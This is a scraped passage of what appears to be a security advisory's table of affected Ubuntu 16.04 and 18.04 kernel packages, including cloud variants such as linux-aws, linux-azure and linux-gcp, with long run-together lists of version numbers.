4.3.0-5.164.3.0-6.174.3.0-7.184.4.0-2.164.4.0-4.194.4.0-6.214.4.0-7.224.4.0-8.234.4.0-9.244.4.0-10.254.4.0-11.264.4.0-12.284.4.0-13.294.4.0-14.304.4.0-15.314.4.0-16.324.4.0-17.334.4.0-18.344.4.0-21.374.4.0-22.394.4.0-22.404.4.0-24.434.4.0-28.474.4.0-31.504.4.0-34.534.4.0-36.554.4.0-38.574.4.0-42.624.4.0-43.634.4.0-45.664.4.0-47.684.4.0-51.724.4.0-53.744.4.0-57.784.4.0-59.804.4.0-62.834.4.0-63.844.4.0-64.854.4.0-65.864.4.0-66.874.4.0-67.884.4.0-70.914.4.0-71.924.4.0-72.934.4.0-75.96
 None known
linux-aws
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.4.0-1001.104.4.0-1003.124.4.0-1004.134.4.0-1007.164.4.0-1009.18
Show 45 moreShow less
4.4.0-1011.204.4.0-1012.214.4.0-1013.224.4.0-1016.254.4.0-1017.264.4.0-1018.274.4.0-1020.294.4.0-1022.314.4.0-1026.354.4.0-1028.374.4.0-1030.394.4.0-1031.404.4.0-1032.414.4.0-1035.444.4.0-1037.464.4.0-1038.474.4.0-1039.484.4.0-1041.504.4.0-1043.524.4.0-1044.534.4.0-1047.564.4.0-1048.574.4.0-1049.584.4.0-1050.594.4.0-1052.614.4.0-1054.634.4.0-1055.644.4.0-1057.664.4.0-1060.694.4.0-1061.704.4.0-1062.714.4.0-1063.724.4.0-1065.754.4.0-1066.764.4.0-1067.774.4.0-1069.794.4.0-1070.804.4.0-1072.824.4.0-1073.834.4.0-1074.844.4.0-1075.854.4.0-1077.874.4.0-1079.894.4.0-1081.914.4.0-1083.93
 None known
linux-aws-hwe
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.15.0-1030.31~16.04.14.15.0-1031.33~16.04.14.15.0-1032.34~16.04.14.15.0-1033.35~16.04.14.15.0-1035.37~16.04.1
Show 45 moreShow less
4.15.0-1036.38~16.04.14.15.0-1039.41~16.04.14.15.0-1040.42~16.04.14.15.0-1041.43~16.04.14.15.0-1043.45~16.04.14.15.0-1044.46~16.04.14.15.0-1045.47~16.04.14.15.0-1047.49~16.04.14.15.0-1048.50~16.04.14.15.0-1050.52~16.04.14.15.0-1051.53~16.04.14.15.0-1052.54~16.04.14.15.0-1054.56~16.04.14.15.0-1056.58~16.04.14.15.0-1057.59~16.04.14.15.0-1058.60~16.04.14.15.0-1060.62~16.04.14.15.0-1063.67~16.04.14.15.0-1065.69~16.04.14.15.0-1066.70~16.04.14.15.0-1067.71~16.04.14.15.0-1073.77~16.04.14.15.0-1074.78~16.04.14.15.0-1079.83~16.04.14.15.0-1080.84~16.04.14.15.0-1082.86~16.04.14.15.0-1083.87~16.04.14.15.0-1085.90~16.04.14.15.0-1088.93~16.04.14.15.0-1090.95~16.04.14.15.0-1091.96~16.04.14.15.0-1093.99~16.04.14.15.0-1094.101~16.04.14.15.0-1095.102~16.04.14.15.0-1096.103~16.04.14.15.0-1097.104~16.04.14.15.0-1098.105~16.04.14.15.0-1099.106~16.04.14.15.0-1102.109~16.04.14.15.0-1103.110~16.04.14.15.0-1106.113~16.04.14.15.0-1109.116~16.04.14.15.0-1110.117~16.04.14.15.0-1111.118~16.04.14.15.0-1112.119~16.04.1
 None known
linux-azure
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.11.0-1009.94.11.0-1011.114.11.0-1013.134.11.0-1014.144.11.0-1015.15
Show 45 moreShow less
4.11.0-1016.164.13.0-1005.74.13.0-1006.84.13.0-1007.94.13.0-1009.124.13.0-1011.144.13.0-1012.154.13.0-1014.174.13.0-1016.194.13.0-1018.214.15.0-1013.13~16.04.24.15.0-1014.14~16.04.14.15.0-1018.18~16.04.14.15.0-1019.19~16.04.14.15.0-1021.21~16.04.14.15.0-1022.22~16.04.14.15.0-1023.24~16.04.14.15.0-1025.26~16.04.14.15.0-1028.29~16.04.14.15.0-1030.31~16.04.14.15.0-1031.32~16.04.14.15.0-1032.33~16.04.14.15.0-1035.36~16.04.14.15.0-1036.38~16.04.14.15.0-1037.39~16.04.14.15.0-1039.434.15.0-1040.444.15.0-1041.454.15.0-1042.464.15.0-1045.494.15.0-1046.504.15.0-1047.514.15.0-1049.544.15.0-1050.554.15.0-1051.564.15.0-1052.574.15.0-1055.604.15.0-1056.614.15.0-1057.624.15.0-1059.644.15.0-1060.654.15.0-1061.664.15.0-1063.684.15.0-1064.694.15.0-1066.71
 None known
linux-gcp
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.10.0-1004.44.10.0-1006.64.10.0-1007.74.10.0-1008.84.10.0-1009.9
Show 45 moreShow less
4.13.0-1002.54.13.0-1006.94.13.0-1007.104.13.0-1008.114.13.0-1011.154.13.0-1012.164.13.0-1013.174.13.0-1015.194.13.0-1017.214.13.0-1019.234.15.0-1014.14~16.04.14.15.0-1015.15~16.04.14.15.0-1017.18~16.04.14.15.0-1018.19~16.04.24.15.0-1019.20~16.04.14.15.0-1021.22~16.04.14.15.0-1023.24~16.04.14.15.0-1024.25~16.04.24.15.0-1025.26~16.04.14.15.0-1026.27~16.04.14.15.0-1027.28~16.04.14.15.0-1028.29~16.04.14.15.0-1029.31~16.04.14.15.0-1030.32~16.04.14.15.0-1032.34~16.04.14.15.0-1033.35~16.04.14.15.0-1034.36~16.04.14.15.0-1036.38~16.04.14.15.0-1037.39~16.04.14.15.0-1040.42~16.04.14.15.0-1041.434.15.0-1042.444.15.0-1044.464.15.0-1046.494.15.0-1047.504.15.0-1049.524.15.0-1050.534.15.0-1052.564.15.0-1055.594.15.0-1058.624.15.0-1060.644.15.0-1061.654.15.0-1071.81~16.04.14.15.0-1077.87~16.04.14.15.0-1078.88~16.04.1
 None known
linux-hwe
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.8.0-36.36~16.04.14.8.0-39.42~16.04.14.8.0-41.44~16.04.14.8.0-42.45~16.04.14.8.0-44.47~16.04.1
Show 45 moreShow less
4.8.0-45.48~16.04.14.8.0-46.49~16.04.14.8.0-49.52~16.04.14.8.0-51.54~16.04.14.8.0-52.55~16.04.14.8.0-53.56~16.04.14.8.0-54.57~16.04.14.8.0-56.61~16.04.14.8.0-58.63~16.04.14.10.0-27.30~16.04.24.10.0-28.32~16.04.24.10.0-30.34~16.04.14.10.0-32.36~16.04.14.10.0-33.37~16.04.14.10.0-35.39~16.04.14.10.0-37.41~16.04.14.10.0-38.42~16.04.14.10.0-40.44~16.04.14.10.0-42.46~16.04.14.13.0-26.29~16.04.24.13.0-31.34~16.04.14.13.0-32.35~16.04.14.13.0-36.40~16.04.14.13.0-37.42~16.04.14.13.0-38.43~16.04.14.13.0-39.44~16.04.14.13.0-41.46~16.04.14.13.0-43.48~16.04.14.13.0-45.50~16.04.14.15.0-24.26~16.04.14.15.0-29.31~16.04.14.15.0-30.32~16.04.14.15.0-32.35~16.04.14.15.0-33.36~16.04.14.15.0-34.37~16.04.14.15.0-36.39~16.04.14.15.0-38.41~16.04.14.15.0-39.42~16.04.14.15.0-42.45~16.04.14.15.0-43.46~16.04.14.15.0-45.48~16.04.14.15.0-46.49~16.04.14.15.0-47.50~16.04.14.15.0-48.51~16.04.14.15.0-50.54~16.04.1
 None known
linux-hwe-edge
Ubuntu:16.04:LTS
 All versions, plus listed versions
4.8.0-28.30~16.04.14.8.0-30.32~16.04.14.8.0-32.34~16.04.14.8.0-34.36~16.04.14.10.0-14.16~16.04.1
Show 18 moreShow less
4.10.0-19.21~16.04.14.10.0-20.22~16.04.14.10.0-21.23~16.04.14.10.0-22.24~16.04.14.10.0-24.28~16.04.14.10.0-26.30~16.04.14.11.0-13.19~16.04.14.11.0-14.20~16.04.14.13.0-16.19~16.04.34.13.0-17.20~16.04.14.13.0-19.22~16.04.14.13.0-21.24~16.04.14.13.0-25.29~16.04.24.15.0-13.14~16.04.14.15.0-15.16~16.04.14.15.0-20.21~16.04.14.15.0-22.24~16.04.14.15.0-23.25~16.04.1
 None known
linux-kvm
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.4.0-1004.94.4.0-1007.124.4.0-1008.134.4.0-1009.144.4.0-1010.15
Show 45 moreShow less
4.4.0-1012.174.4.0-1013.184.4.0-1015.204.4.0-1017.224.4.0-1019.244.4.0-1020.254.4.0-1021.264.4.0-1023.284.4.0-1026.314.4.0-1027.324.4.0-1029.344.4.0-1031.374.4.0-1032.384.4.0-1033.394.4.0-1035.414.4.0-1036.424.4.0-1037.434.4.0-1038.444.4.0-1039.454.4.0-1040.464.4.0-1041.474.4.0-1043.494.4.0-1044.504.4.0-1046.524.4.0-1047.534.4.0-1048.554.4.0-1051.584.4.0-1052.594.4.0-1054.614.4.0-1056.634.4.0-1058.654.4.0-1059.664.4.0-1060.674.4.0-1062.694.4.0-1063.704.4.0-1064.714.4.0-1065.724.4.0-1066.734.4.0-1068.754.4.0-1069.764.4.0-1070.774.4.0-1071.784.4.0-1075.824.4.0-1076.834.4.0-1077.84
 None known
linux-oracle
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
4.15.0-1007.9~16.04.14.15.0-1008.10~16.04.14.15.0-1009.11~16.04.14.15.0-1010.12~16.04.14.15.0-1011.13~16.04.1
Show 45 moreShow less
4.15.0-1013.15~16.04.14.15.0-1014.16~16.04.14.15.0-1015.17~16.04.14.15.0-1017.19~16.04.24.15.0-1018.20~16.04.14.15.0-1021.23~16.04.14.15.0-1022.25~16.04.14.15.0-1023.26~16.04.14.15.0-1025.28~16.04.14.15.0-1026.29~16.04.14.15.0-1027.30~16.04.14.15.0-1029.32~16.04.14.15.0-1030.33~16.04.14.15.0-1031.34~16.04.14.15.0-1033.36~16.04.14.15.0-1035.38~16.04.14.15.0-1037.41~16.04.14.15.0-1038.42~16.04.14.15.0-1039.43~16.04.14.15.0-1045.49~16.04.14.15.0-1046.50~16.04.14.15.0-1050.54~16.04.14.15.0-1051.55~16.04.14.15.0-1053.57~16.04.14.15.0-1054.58~16.04.14.15.0-1056.61~16.04.14.15.0-1058.64~16.04.14.15.0-1059.65~16.04.14.15.0-1061.67~16.04.14.15.0-1062.68~16.04.14.15.0-1064.71~16.04.14.15.0-1065.73~16.04.14.15.0-1066.74~16.04.14.15.0-1067.75~16.04.14.15.0-1068.76~16.04.14.15.0-1069.77~16.04.14.15.0-1070.78~16.04.14.15.0-1071.79~16.04.14.15.0-1072.80~16.04.14.15.0-1075.83~16.04.14.15.0-1078.86~16.04.14.15.0-1079.87~16.04.14.15.0-1080.88~16.04.14.15.0-1081.89~16.04.14.15.0-1082.90~16.04.1
 None known
linux-fips
Ubuntu:Pro:FIPS-updates:16.04:LTS
 All versions, plus listed versions
4.4.0-1003.34.4.0-1005.54.4.0-1006.64.4.0-1008.104.4.0-1010.13
Show 45 moreShow less
4.4.0-1011.144.4.0-1012.164.4.0-1013.174.4.0-1015.204.4.0-1017.224.4.0-1019.244.4.0-1021.264.4.0-1022.274.4.0-1023.284.4.0-1025.304.4.0-1026.314.4.0-1027.324.4.0-1028.334.4.0-1029.344.4.0-1031.364.4.0-1032.374.4.0-1033.384.4.0-1034.394.4.0-1041.464.4.0-1042.474.4.0-1043.484.4.0-1044.494.4.0-1045.504.4.0-1046.514.4.0-1048.534.4.0-1049.554.4.0-1051.574.4.0-1052.584.4.0-1054.604.4.0-1055.614.4.0-1056.624.4.0-1057.634.4.0-1058.644.4.0-1060.664.4.0-1061.674.4.0-1062.684.4.0-1063.694.4.0-1064.704.4.0-1065.714.4.0-1066.724.4.0-1067.734.4.0-1068.744.4.0-1069.754.4.0-1071.774.4.0-1072.78
 None known
linux-fips
Ubuntu:Pro:FIPS:16.04:LTS
 All versions, plus listed versions
4.4.0-1001.14.4.0-1002.2
 None known
linux
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
4.13.0-16.194.13.0-17.204.13.0-25.294.13.0-32.354.15.0-10.11
Show 45 moreShow less
4.15.0-12.134.15.0-13.144.15.0-15.164.15.0-19.204.15.0-20.214.15.0-22.244.15.0-23.254.15.0-24.264.15.0-29.314.15.0-30.324.15.0-32.354.15.0-33.364.15.0-34.374.15.0-36.394.15.0-38.414.15.0-39.424.15.0-42.454.15.0-43.464.15.0-44.474.15.0-45.484.15.0-46.494.15.0-47.504.15.0-48.514.15.0-50.544.15.0-51.554.15.0-52.564.15.0-54.584.15.0-55.604.15.0-58.644.15.0-60.674.15.0-62.694.15.0-64.734.15.0-65.744.15.0-66.754.15.0-69.784.15.0-70.794.15.0-72.814.15.0-74.844.15.0-76.864.15.0-88.884.15.0-91.924.15.0-96.974.15.0-99.1004.15.0-101.1024.15.0-106.107
 None known
linux-aws
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
4.15.0-1001.14.15.0-1003.34.15.0-1005.54.15.0-1006.64.15.0-1007.7
Show 45 moreShow less
4.15.0-1009.94.15.0-1010.104.15.0-1011.114.15.0-1016.164.15.0-1017.174.15.0-1019.194.15.0-1020.204.15.0-1021.214.15.0-1023.234.15.0-1025.254.15.0-1027.274.15.0-1029.304.15.0-1031.334.15.0-1032.344.15.0-1033.354.15.0-1034.364.15.0-1035.374.15.0-1037.394.15.0-1039.414.15.0-1040.424.15.0-1041.434.15.0-1043.454.15.0-1044.464.15.0-1045.474.15.0-1047.494.15.0-1048.504.15.0-1050.524.15.0-1051.534.15.0-1052.544.15.0-1054.564.15.0-1056.584.15.0-1057.594.15.0-1058.604.15.0-1060.624.15.0-1063.674.15.0-1065.694.15.0-1066.704.15.0-1067.714.15.0-1073.774.15.0-1076.804.15.0-1077.814.15.0-1079.834.15.0-1080.844.15.0-1082.864.15.0-1083.87
 None known
linux-aws-5.0
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.0.0-1021.24~18.04.15.0.0-1022.25~18.04.15.0.0-1023.26~18.04.15.0.0-1024.27~18.04.15.0.0-1025.285.0.0-1027.30
 None known
linux-aws-5.3
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.3.0-1016.17~18.04.15.3.0-1017.18~18.04.15.3.0-1019.21~18.04.15.3.0-1023.25~18.04.15.3.0-1028.30~18.04.1
Show 5 moreShow less
5.3.0-1030.32~18.04.15.3.0-1032.34~18.04.25.3.0-1033.355.3.0-1034.365.3.0-1035.37
 None known
linux-aws-5.4
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
5.4.0-1018.18~18.04.15.4.0-1020.20~18.04.25.4.0-1022.22~18.04.15.4.0-1024.24~18.04.15.4.0-1025.25~18.04.1
Show 45 moreShow less
5.4.0-1028.29~18.04.15.4.0-1029.30~18.04.15.4.0-1030.31~18.04.15.4.0-1032.33~18.04.15.4.0-1034.35~18.04.15.4.0-1035.37~18.04.15.4.0-1037.39~18.04.15.4.0-1038.40~18.04.15.4.0-1039.41~18.04.15.4.0-1041.43~18.04.15.4.0-1043.45~18.04.15.4.0-1045.47~18.04.15.4.0-1047.49~18.04.15.4.0-1048.50~18.04.15.4.0-1049.51~18.04.15.4.0-1051.53~18.04.15.4.0-1054.57~18.04.15.4.0-1055.58~18.04.15.4.0-1056.59~18.04.15.4.0-1057.60~18.04.15.4.0-1058.61~18.04.35.4.0-1059.62~18.04.15.4.0-1060.63~18.04.15.4.0-1061.64~18.04.15.4.0-1063.66~18.04.15.4.0-1064.67~18.04.15.4.0-1065.68~18.04.15.4.0-1066.69~18.04.15.4.0-1068.72~18.04.15.4.0-1069.73~18.04.15.4.0-1071.76~18.04.15.4.0-1072.77~18.04.15.4.0-1075.80~18.04.15.4.0-1078.84~18.04.15.4.0-1080.87~18.04.15.4.0-1081.88~18.04.15.4.0-1083.90~18.04.15.4.0-1084.91~18.04.15.4.0-1085.92~18.04.15.4.0-1086.93~18.04.15.4.0-1088.96~18.04.15.4.0-1089.97~18.04.15.4.0-1090.98~18.04.15.4.0-1092.100~18.04.25.4.0-1093.102~18.04.2
 None known
linux-azure
Ubuntu:18.04:LTS
 All versions, plus listed versions
4.15.0-1002.24.15.0-1003.34.15.0-1004.44.15.0-1008.84.15.0-1009.9
Show 39 moreShow less
4.15.0-1012.124.15.0-1013.134.15.0-1014.144.15.0-1018.184.15.0-1019.194.15.0-1021.214.15.0-1022.234.15.0-1023.244.15.0-1025.264.15.0-1028.294.15.0-1030.314.15.0-1031.324.15.0-1032.334.15.0-1035.364.15.0-1036.384.15.0-1037.394.18.0-1011.11~18.04.14.18.0-1013.13~18.04.14.18.0-1014.14~18.04.14.18.0-1018.18~18.04.14.18.0-1019.19~18.04.14.18.0-1020.20~18.04.14.18.0-1023.24~18.04.14.18.0-1024.25~18.04.14.18.0-1025.27~18.04.15.0.0-1014.14~18.04.15.0.0-1016.17~18.04.15.0.0-1018.19~18.04.15.0.0-1020.21~18.04.15.0.0-1022.23~18.04.15.0.0-1023.24~18.04.15.0.0-1025.27~18.04.15.0.0-1027.29~18.04.15.0.0-1028.30~18.04.15.0.0-1029.31~18.04.15.0.0-1031.335.0.0-1032.345.0.0-1035.375.0.0-1036.38
 None known
linux-azure-4.15
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
4.15.0-1082.924.15.0-1083.934.15.0-1089.994.15.0-1091.1014.15.0-1092.102
Show 45 moreShow less
4.15.0-1093.1034.15.0-1095.1054.15.0-1096.1064.15.0-1099.1104.15.0-1100.1114.15.0-1102.1134.15.0-1103.1144.15.0-1104.1164.15.0-1106.1184.15.0-1108.1204.15.0-1109.1214.15.0-1110.1224.15.0-1111.1234.15.0-1112.1254.15.0-1113.1264.15.0-1114.1274.15.0-1115.1284.15.0-1118.1314.15.0-1121.1344.15.0-1122.1354.15.0-1123.1364.15.0-1124.1374.15.0-1125.1384.15.0-1126.1394.15.0-1127.1404.15.0-1129.1424.15.0-1130.1434.15.0-1131.1444.15.0-1133.1464.15.0-1134.1474.15.0-1136.1494.15.0-1137.1504.15.0-1138.1514.15.0-1139.1524.15.0-1142.1564.15.0-1145.1604.15.0-1146.1614.15.0-1149.1644.15.0-1150.1654.15.0-1151.1664.15.0-1153.1684.15.0-1157.1724.15.0-1158.1734.15.0-1159.1744.15.0-1161.176
 None known
linux-azure-5.3
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.3.0-1007.8~18.04.15.3.0-1008.9~18.04.15.3.0-1009.10~18.04.15.3.0-1010.11~18.04.15.3.0-1012.13~18.04.1
Show 11 moreShow less
5.3.0-1013.14~18.04.15.3.0-1016.17~18.04.15.3.0-1018.19~18.04.15.3.0-1019.20~18.04.15.3.0-1020.21~18.04.15.3.0-1022.23~18.04.15.3.0-1028.29~18.04.15.3.0-1031.32~18.04.15.3.0-1032.33~18.04.15.3.0-1034.35~18.04.15.3.0-1035.36
 None known
linux-azure-5.4
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
5.4.0-1020.20~18.04.15.4.0-1022.22~18.04.15.4.0-1023.23~18.04.15.4.0-1025.25~18.04.15.4.0-1026.26~18.04.1
Show 45 moreShow less
5.4.0-1031.32~18.04.15.4.0-1032.33~18.04.15.4.0-1034.35~18.04.15.4.0-1035.36~18.04.15.4.0-1036.38~18.04.15.4.0-1039.41~18.04.15.4.0-1040.42~18.04.15.4.0-1041.43~18.04.15.4.0-1043.45~18.04.15.4.0-1044.46~18.04.15.4.0-1046.48~18.04.15.4.0-1047.49~18.04.15.4.0-1048.50~18.04.15.4.0-1049.51~18.04.15.4.0-1051.53~18.04.15.4.0-1055.57~18.04.15.4.0-1056.58~18.04.15.4.0-1058.60~18.04.15.4.0-1059.62~18.04.15.4.0-1061.64~18.04.15.4.0-1062.65~18.04.15.4.0-1063.66~18.04.15.4.0-1064.67~18.04.15.4.0-1065.68~18.04.15.4.0-1067.70~18.04.15.4.0-1068.71~18.04.15.4.0-1069.72~18.04.15.4.0-1070.73~18.04.15.4.0-1072.75~18.04.15.4.0-1073.76~18.04.15.4.0-1074.77~18.04.15.4.0-1077.80~18.04.15.4.0-1078.81~18.04.15.4.0-1080.83~18.04.25.4.0-1083.87~18.04.15.4.0-1085.90~18.04.15.4.0-1086.91~18.04.15.4.0-1089.94~18.04.15.4.0-1090.95~18.04.15.4.0-1091.96~18.04.15.4.0-1094.100~18.04.15.4.0-1095.101~18.04.15.4.0-1098.104~18.04.25.4.0-1100.106~18.04.15.4.0-1101.107~18.04.1
 None known
linux-azure-edge
Ubuntu:18.04:LTS
 All versions, plus listed versions
4.18.0-1006.6~18.04.14.18.0-1007.7~18.04.14.18.0-1008.8~18.04.15.0.0-1012.12~18.04.2
 None known
linux-gcp
Ubuntu:18.04:LTS
 All versions, plus listed versions
4.15.0-1001.14.15.0-1003.34.15.0-1005.54.15.0-1006.64.15.0-1008.8
Show 33 moreShow less
4.15.0-1009.94.15.0-1010.104.15.0-1014.144.15.0-1015.154.15.0-1017.184.15.0-1018.194.15.0-1019.204.15.0-1021.224.15.0-1023.244.15.0-1024.254.15.0-1025.264.15.0-1026.274.15.0-1027.284.15.0-1028.294.15.0-1029.314.15.0-1030.324.15.0-1032.344.15.0-1033.354.15.0-1034.364.15.0-1036.384.15.0-1037.394.15.0-1040.424.15.0-1042.454.15.0-1044.705.0.0-1020.20~18.04.15.0.0-1021.21~18.04.15.0.0-1025.26~18.04.15.0.0-1026.27~18.04.15.0.0-1028.29~18.04.15.0.0-1029.30~18.04.15.0.0-1031.325.0.0-1033.345.0.0-1034.35
 None known
linux-gcp-4.15
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
4.15.0-1071.814.15.0-1077.874.15.0-1078.884.15.0-1080.904.15.0-1081.92
Show 45 moreShow less
4.15.0-1083.944.15.0-1084.954.15.0-1086.984.15.0-1087.1004.15.0-1088.1014.15.0-1090.1034.15.0-1091.1044.15.0-1092.1054.15.0-1093.1064.15.0-1094.1074.15.0-1095.1084.15.0-1096.1094.15.0-1097.1104.15.0-1098.1114.15.0-1099.1124.15.0-1100.1134.15.0-1103.1164.15.0-1106.1204.15.0-1107.1214.15.0-1108.1224.15.0-1109.1234.15.0-1110.1244.15.0-1111.1254.15.0-1112.1264.15.0-1114.1284.15.0-1115.1294.15.0-1116.1304.15.0-1118.1324.15.0-1119.1334.15.0-1120.1344.15.0-1121.1354.15.0-1122.1364.15.0-1124.1384.15.0-1127.1424.15.0-1130.1464.15.0-1131.1474.15.0-1134.1504.15.0-1135.1514.15.0-1136.1524.15.0-1137.1534.15.0-1138.1544.15.0-1141.1574.15.0-1142.1584.15.0-1143.1594.15.0-1145.161
 None known
linux-gcp-5.3
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.3.0-1008.9~18.04.15.3.0-1009.10~18.04.15.3.0-1010.11~18.04.15.3.0-1012.13~18.04.15.3.0-1014.15~18.04.1
Show 8 moreShow less
5.3.0-1016.17~18.04.15.3.0-1017.18~18.04.15.3.0-1018.19~18.04.15.3.0-1020.22~18.04.15.3.0-1026.28~18.04.15.3.0-1029.31~18.04.15.3.0-1030.32~18.04.15.3.0-1032.34~18.04.1
 None known
linux-gcp-5.4
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
5.4.0-1019.19~18.04.25.4.0-1021.21~18.04.15.4.0-1022.22~18.04.15.4.0-1024.24~18.04.15.4.0-1025.25~18.04.1
Show 45 moreShow less
5.4.0-1028.29~18.04.15.4.0-1029.31~18.04.15.4.0-1030.32~18.04.15.4.0-1032.34~18.04.15.4.0-1033.35~18.04.15.4.0-1034.37~18.04.15.4.0-1036.39~18.04.15.4.0-1037.40~18.04.15.4.0-1038.41~18.04.15.4.0-1040.43~18.04.15.4.0-1041.44~18.04.15.4.0-1042.45~18.04.15.4.0-1043.46~18.04.15.4.0-1044.47~18.04.25.4.0-1046.49~18.04.15.4.0-1049.53~18.04.15.4.0-1051.55~18.04.15.4.0-1052.56~18.04.15.4.0-1053.57~18.04.15.4.0-1055.59~18.04.15.4.0-1056.60~18.04.15.4.0-1057.61~18.04.15.4.0-1058.62~18.04.15.4.0-1059.63~18.04.15.4.0-1060.64~18.04.15.4.0-1062.66~18.04.15.4.0-1063.67~18.04.15.4.0-1064.68~18.04.15.4.0-1065.69~18.04.15.4.0-1067.71~18.04.15.4.0-1068.72~18.04.15.4.0-1069.73~18.04.15.4.0-1072.77~18.04.15.4.0-1073.78~18.04.15.4.0-1075.80~18.04.15.4.0-1078.84~18.04.15.4.0-1080.87~18.04.15.4.0-1083.91~18.04.15.4.0-1084.92~18.04.15.4.0-1086.94~18.04.15.4.0-1087.95~18.04.15.4.0-1089.97~18.04.15.4.0-1092.101~18.04.15.4.0-1093.102~18.04.15.4.0-1096.105~18.04.2
 None known
linux-gke-4.15
Ubuntu:18.04:LTS
 All versions, plus listed versions
4.15.0-1030.324.15.0-1032.344.15.0-1033.354.15.0-1034.364.15.0-1036.38
Show 28 moreShow less
4.15.0-1037.394.15.0-1040.424.15.0-1041.434.15.0-1042.444.15.0-1044.464.15.0-1045.484.15.0-1046.494.15.0-1048.514.15.0-1049.524.15.0-1050.534.15.0-1052.554.15.0-1055.584.15.0-1057.604.15.0-1058.614.15.0-1059.624.15.0-1063.664.15.0-1064.674.15.0-1066.694.15.0-1067.704.15.0-1069.724.15.0-1070.734.15.0-1072.764.15.0-1073.784.15.0-1074.794.15.0-1076.814.15.0-1077.824.15.0-1078.834.15.0-1079.84
 None known
linux-gke-5.4
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.4.0-1025.25~18.04.15.4.0-1027.28~18.04.15.4.0-1029.31~18.04.15.4.0-1030.32~18.04.15.4.0-1032.34~18.04.1
Show 32 moreShow less
5.4.0-1033.35~18.04.15.4.0-1035.37~18.04.15.4.0-1036.38~18.04.15.4.0-1037.39~18.04.15.4.0-1039.41~18.04.15.4.0-1040.42~18.04.15.4.0-1042.44~18.04.15.4.0-1043.45~18.04.15.4.0-1044.46~18.04.15.4.0-1046.48~18.04.15.4.0-1049.52~18.04.15.4.0-1051.54~18.04.15.4.0-1052.55~18.04.15.4.0-1053.56~18.04.15.4.0-1054.57~18.04.15.4.0-1055.58~18.04.15.4.0-1056.59~18.04.15.4.0-1057.60~18.04.15.4.0-1059.62~18.04.15.4.0-1061.64~18.04.15.4.0-1062.65~18.04.15.4.0-1063.66~18.04.15.4.0-1065.68~18.04.15.4.0-1066.69~18.04.15.4.0-1067.70~18.04.15.4.0-1068.71~18.04.15.4.0-1071.76~18.04.35.4.0-1072.77~18.04.15.4.0-1074.79~18.04.15.4.0-1076.82~18.04.15.4.0-1078.84~18.04.15.4.0-1080.86~18.04.1
 None known
linux-gkeop-5.4
Ubuntu:18.04:LTS
 All versions, plus listed versions
5.4.0-1001.15.4.0-1003.35.4.0-1004.55.4.0-1005.65.4.0-1007.8~18.04.1
Show 32 moreShow less
5.4.0-1008.9~18.04.15.4.0-1009.10~18.04.15.4.0-1010.11~18.04.15.4.0-1011.12~18.04.25.4.0-1012.13~18.04.15.4.0-1013.14~18.04.15.4.0-1014.15~18.04.15.4.0-1015.16~18.04.15.4.0-1016.17~18.04.15.4.0-1018.19~18.04.15.4.0-1021.22~18.04.15.4.0-1022.23~18.04.15.4.0-1023.24~18.04.15.4.0-1024.25~18.04.15.4.0-1025.26~18.04.15.4.0-1026.27~18.04.15.4.0-1027.28~18.04.15.4.0-1029.30~18.04.25.4.0-1031.32~18.04.15.4.0-1032.33~18.04.15.4.0-1033.34~18.04.15.4.0-1034.35~18.04.15.4.0-1036.37~18.04.15.4.0-1037.38~18.04.15.4.0-1038.39~18.04.15.4.0-1039.40~18.04.15.4.0-1040.41~18.04.15.4.0-1043.44~18.04.15.4.0-1046.48~18.04.15.4.0-1048.51~18.04.15.4.0-1049.52~18.04.15.4.0-1051.54~18.04.1
 None known
linux-hwe
Ubuntu:18.04:LTS
 All versions, plus listed versions
4.18.0-13.14~18.04.14.18.0-14.15~18.04.14.18.0-15.16~18.04.14.18.0-16.17~18.04.14.18.0-17.18~18.04.1
Show 38 moreShow less
4.18.0-18.19~18.04.14.18.0-20.21~18.04.14.18.0-21.22~18.04.14.18.0-22.23~18.04.14.18.0-24.25~18.04.14.18.0-25.26~18.04.15.0.0-23.24~18.04.15.0.0-25.26~18.04.15.0.0-27.28~18.04.15.0.0-29.31~18.04.15.0.0-31.33~18.04.15.0.0-32.34~18.04.25.0.0-35.38~18.04.15.0.0-36.39~18.04.15.0.0-37.40~18.04.15.3.0-26.28~18.04.15.3.0-28.30~18.04.15.3.0-40.32~18.04.15.3.0-42.34~18.04.15.3.0-45.37~18.04.15.3.0-46.38~18.04.15.3.0-51.44~18.04.25.3.0-53.47~18.04.15.3.0-59.53~18.04.15.3.0-61.55~18.04.15.3.0-62.56~18.04.15.3.0-64.58~18.04.15.3.0-65.595.3.0-66.605.3.0-67.615.3.0-68.635.3.0-69.655.3.0-70.665.3.0-72.685.3.0-73.695.3.0-74.705.3.0-75.715.3.0-76.72
 None known
linux-hwe-5.4
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
5.4.0-37.41~18.04.15.4.0-39.43~18.04.15.4.0-40.44~18.04.15.4.0-42.46~18.04.15.4.0-45.49~18.04.2
Show 45 moreShow less
